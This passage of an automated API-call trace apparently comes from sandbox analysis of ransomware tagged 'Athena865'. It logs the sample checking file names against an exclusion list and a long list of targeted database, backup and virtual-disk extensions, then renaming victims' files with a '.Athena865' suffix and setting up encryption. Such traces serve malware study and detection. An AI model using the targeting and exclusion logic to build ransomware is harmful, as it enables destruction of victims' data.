(lpString1="6153.JPG", lpString2="sas7bdat") returned -1 [0128.147] lstrlenW (lpString="sbf") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0128.147] lstrlenW (lpString="scx") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0128.147] lstrlenW (lpString="sdb") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0128.147] lstrlenW (lpString="sdc") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0128.147] lstrlenW (lpString="sdf") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0128.147] lstrlenW (lpString="sis") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0128.147] lstrlenW (lpString="spq") returned 3 [0128.147] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0128.147] lstrlenW (lpString="te") returned 2 [0128.147] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0128.147] lstrlenW (lpString="teacher") returned 7 [0128.147] lstrcmpiW (lpString1="153.JPG", lpString2="teacher") returned -1 [0128.147] lstrlenW (lpString="tmd") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0128.148] lstrlenW (lpString="tps") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0128.148] lstrlenW (lpString="trc") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0128.148] lstrlenW (lpString="trc") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0128.148] lstrlenW (lpString="trm") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0128.148] lstrlenW (lpString="udb") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0128.148] lstrlenW (lpString="udl") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0128.148] lstrlenW (lpString="usr") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0128.148] lstrlenW (lpString="v12") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0128.148] lstrlenW (lpString="vis") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0128.148] lstrlenW (lpString="vpd") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0128.148] lstrlenW (lpString="vvv") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0128.148] lstrlenW (lpString="wdb") returned 3 [0128.148] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0128.148] lstrlenW (lpString="wmdb") returned 4 [0128.148] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0128.148] lstrlenW (lpString="wrk") returned 3 [0128.149] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0128.149] lstrlenW (lpString="xdb") returned 3 [0128.149] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0128.149] lstrlenW (lpString="xld") returned 3 [0128.149] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0128.149] lstrlenW (lpString="xmlff") returned 5 [0128.149] lstrcmpiW (lpString1="3.JPG", lpString2="xmlff") returned -1 [0128.149] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.Athena865") returned 73 [0128.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.athena865"), dwFlags=0x1) returned 1 [0128.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.155] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21620) returned 1 [0128.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.158] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.162] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.162] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.164] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5780, lpName=0x0) returned 0x154 [0128.168] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5780) returned 0x100000 [0128.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.174] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.174] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.175] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.175] CloseHandle (hObject=0x154) returned 1 [0128.175] CloseHandle (hObject=0x17c) returned 1 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0128.175] lstrcmpiW (lpString1="J0216540.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2=".") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="..") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="windows") returned -1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="bootmgr") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="temp") returned -1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="pagefile.sys") returned -1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="boot") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ids.txt") returned 1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="ntuser.dat") returned -1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="perflogs") returned -1 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2="MSBuild") returned -1 [0128.176] lstrlenW (lpString="J0216540.WMF") returned 12 [0128.176] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216540.WMF" | out: lpString1="J0216540.WMF") returned="J0216540.WMF" [0128.176] lstrlenW (lpString="J0216540.WMF") returned 12 [0128.176] lstrlenW (lpString="Athena865") returned 9 [0128.176] lstrcmpiW (lpString1="16540.WMF", lpString2="Athena865") returned -1 [0128.176] lstrlenW (lpString=".dll") returned 4 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2=".dll") returned 1 [0128.176] lstrlenW (lpString=".lnk") returned 4 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2=".lnk") returned 1 [0128.176] lstrlenW (lpString=".ini") returned 4 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2=".ini") returned 1 [0128.176] lstrlenW (lpString=".sys") returned 4 [0128.176] lstrcmpiW (lpString1="J0216540.WMF", lpString2=".sys") returned 1 [0128.176] lstrlenW (lpString="J0216540.WMF") returned 12 [0128.176] lstrlenW (lpString="bak") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.177] lstrlenW (lpString="ba_") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.177] lstrlenW (lpString="dbb") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.177] lstrlenW (lpString="vmdk") returned 4 [0128.177] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.177] lstrlenW (lpString="rar") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.177] lstrlenW (lpString="zip") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.177] lstrlenW (lpString="tgz") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.177] lstrlenW (lpString="vbox") returned 4 [0128.177] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.177] lstrlenW (lpString="vdi") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.177] lstrlenW (lpString="vhd") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.177] lstrlenW (lpString="vhdx") returned 4 [0128.177] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.177] lstrlenW (lpString="avhd") returned 4 [0128.177] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.177] lstrlenW (lpString="db") returned 2 [0128.177] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.177] lstrlenW (lpString="db2") returned 3 [0128.177] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.178] lstrlenW (lpString="db3") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.178] lstrlenW (lpString="dbf") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.178] lstrlenW (lpString="mdf") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.178] lstrlenW (lpString="mdb") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.178] lstrlenW (lpString="sql") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.178] lstrlenW (lpString="sqlite") returned 6 [0128.178] lstrcmpiW (lpString1="40.WMF", lpString2="sqlite") returned -1 [0128.178] lstrlenW (lpString="sqlite3") returned 7 [0128.178] lstrcmpiW (lpString1="540.WMF", lpString2="sqlite3") returned -1 [0128.178] lstrlenW (lpString="sqlitedb") returned 8 [0128.178] lstrcmpiW (lpString1="6540.WMF", lpString2="sqlitedb") returned -1 [0128.178] lstrlenW (lpString="xml") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.178] lstrlenW (lpString="$er") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.178] lstrlenW (lpString="4dd") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.178] lstrlenW (lpString="4dl") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.178] lstrlenW (lpString="^^^") returned 3 [0128.178] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.179] lstrlenW (lpString="abs") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.179] lstrlenW (lpString="abx") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.179] lstrlenW (lpString="accdb") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0128.179] lstrlenW (lpString="accdc") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0128.179] lstrlenW (lpString="accde") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0128.179] lstrlenW (lpString="accdr") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0128.179] lstrlenW (lpString="accdt") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0128.179] lstrlenW (lpString="accdw") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0128.179] lstrlenW (lpString="accft") returned 5 [0128.179] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0128.179] lstrlenW (lpString="adb") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.179] lstrlenW (lpString="adb") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.179] lstrlenW (lpString="ade") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.179] lstrlenW (lpString="adf") returned 3 [0128.179] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.179] lstrlenW (lpString="adn") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.180] lstrlenW (lpString="adp") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.180] lstrlenW (lpString="alf") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.180] lstrlenW (lpString="ask") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.180] lstrlenW (lpString="btr") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.180] lstrlenW (lpString="cat") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.180] lstrlenW (lpString="cdb") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.180] lstrlenW (lpString="ckp") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.180] lstrlenW (lpString="cma") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.180] lstrlenW (lpString="cpd") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.180] lstrlenW (lpString="dacpac") returned 6 [0128.180] lstrcmpiW (lpString1="40.WMF", lpString2="dacpac") returned -1 [0128.180] lstrlenW (lpString="dad") returned 3 [0128.180] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.180] lstrlenW (lpString="dadiagrams") returned 10 [0128.180] lstrcmpiW (lpString1="216540.WMF", lpString2="dadiagrams") returned -1 [0128.180] lstrlenW (lpString="daschema") returned 8 [0128.180] lstrcmpiW (lpString1="6540.WMF", lpString2="daschema") returned -1 [0128.181] lstrlenW (lpString="db-journal") returned 10 [0128.181] lstrcmpiW (lpString1="216540.WMF", lpString2="db-journal") returned -1 [0128.181] lstrlenW (lpString="db-shm") returned 6 [0128.181] lstrcmpiW (lpString1="40.WMF", lpString2="db-shm") returned -1 [0128.181] lstrlenW (lpString="db-wal") returned 6 [0128.181] lstrcmpiW (lpString1="40.WMF", lpString2="db-wal") returned -1 [0128.181] lstrlenW (lpString="dbc") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.181] lstrlenW (lpString="dbs") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.181] lstrlenW (lpString="dbt") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.181] lstrlenW (lpString="dbv") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.181] lstrlenW (lpString="dbx") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.181] lstrlenW (lpString="dcb") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.181] lstrlenW (lpString="dct") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.181] lstrlenW (lpString="dcx") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.181] lstrlenW (lpString="ddl") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.181] lstrlenW (lpString="dlis") returned 4 [0128.181] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.181] lstrlenW (lpString="dp1") returned 3 [0128.181] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.182] lstrlenW (lpString="dqy") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.182] lstrlenW (lpString="dsk") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.182] lstrlenW (lpString="dsn") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.182] lstrlenW (lpString="dtsx") returned 4 [0128.182] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.182] lstrlenW (lpString="dxl") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.182] lstrlenW (lpString="eco") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.182] lstrlenW (lpString="ecx") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.182] lstrlenW (lpString="edb") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.182] lstrlenW (lpString="epim") returned 4 [0128.182] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.182] lstrlenW (lpString="fcd") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.182] lstrlenW (lpString="fdb") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.182] lstrlenW (lpString="fic") returned 3 [0128.182] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.182] lstrlenW (lpString="flexolibrary") returned 12 [0128.182] lstrlenW (lpString="fm5") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.183] lstrlenW (lpString="fmp") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.183] lstrlenW (lpString="fmp12") returned 5 [0128.183] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0128.183] lstrlenW (lpString="fmpsl") returned 5 [0128.183] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0128.183] lstrlenW (lpString="fol") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.183] lstrlenW (lpString="fp3") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.183] lstrlenW (lpString="fp4") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.183] lstrlenW (lpString="fp5") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.183] lstrlenW (lpString="fp7") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.183] lstrlenW (lpString="fpt") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.183] lstrlenW (lpString="frm") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.183] lstrlenW (lpString="gdb") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.183] lstrlenW (lpString="gdb") returned 3 [0128.183] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.183] lstrlenW (lpString="grdb") returned 4 [0128.183] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.184] lstrlenW (lpString="gwi") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.184] lstrlenW (lpString="hdb") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.184] lstrlenW (lpString="his") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.184] lstrlenW (lpString="ib") returned 2 [0128.184] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.184] lstrlenW (lpString="idb") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.184] lstrlenW (lpString="ihx") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.184] lstrlenW (lpString="itdb") returned 4 [0128.184] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.184] lstrlenW (lpString="itw") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.184] lstrlenW (lpString="jet") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.184] lstrlenW (lpString="jtx") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.184] lstrlenW (lpString="kdb") returned 3 [0128.184] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.184] lstrlenW (lpString="kexi") returned 4 [0128.184] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.184] lstrlenW (lpString="kexic") returned 5 [0128.184] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0128.184] lstrlenW (lpString="kexis") returned 5 [0128.185] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0128.185] lstrlenW (lpString="lgc") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.185] lstrlenW (lpString="lwx") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.185] lstrlenW (lpString="maf") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.185] lstrlenW (lpString="maq") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.185] lstrlenW (lpString="mar") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.185] lstrlenW (lpString="marshal") returned 7 [0128.185] lstrcmpiW (lpString1="540.WMF", lpString2="marshal") returned -1 [0128.185] lstrlenW (lpString="mas") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.185] lstrlenW (lpString="mav") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.185] lstrlenW (lpString="maw") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.185] lstrlenW (lpString="mdbhtml") returned 7 [0128.185] lstrcmpiW (lpString1="540.WMF", lpString2="mdbhtml") returned -1 [0128.185] lstrlenW (lpString="mdn") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.185] lstrlenW (lpString="mdt") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.185] lstrlenW (lpString="mfd") returned 3 [0128.185] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.185] lstrlenW (lpString="mpd") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.186] lstrlenW (lpString="mrg") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.186] lstrlenW (lpString="mud") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.186] lstrlenW (lpString="mwb") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.186] lstrlenW (lpString="myd") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.186] lstrlenW (lpString="ndf") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.186] lstrlenW (lpString="nnt") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.186] lstrlenW (lpString="nrmlib") returned 6 [0128.186] lstrcmpiW (lpString1="40.WMF", lpString2="nrmlib") returned -1 [0128.186] lstrlenW (lpString="ns2") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.186] lstrlenW (lpString="ns3") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.186] lstrlenW (lpString="ns4") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.186] lstrlenW (lpString="nsf") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.186] lstrlenW (lpString="nv") returned 2 [0128.186] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.186] lstrlenW (lpString="nv2") returned 3 [0128.186] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.187] lstrlenW (lpString="nwdb") returned 4 [0128.187] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.187] lstrlenW (lpString="nyf") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.187] lstrlenW (lpString="odb") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.187] lstrlenW (lpString="odb") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.187] lstrlenW (lpString="oqy") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.187] lstrlenW (lpString="ora") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.187] lstrlenW (lpString="orx") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.187] lstrlenW (lpString="owc") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.187] lstrlenW (lpString="p96") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.187] lstrlenW (lpString="p97") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.187] lstrlenW (lpString="pan") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.187] lstrlenW (lpString="pdb") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.187] lstrlenW (lpString="pdm") returned 3 [0128.187] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.188] lstrlenW (lpString="pnz") returned 3 [0128.188] lstrcmpiW 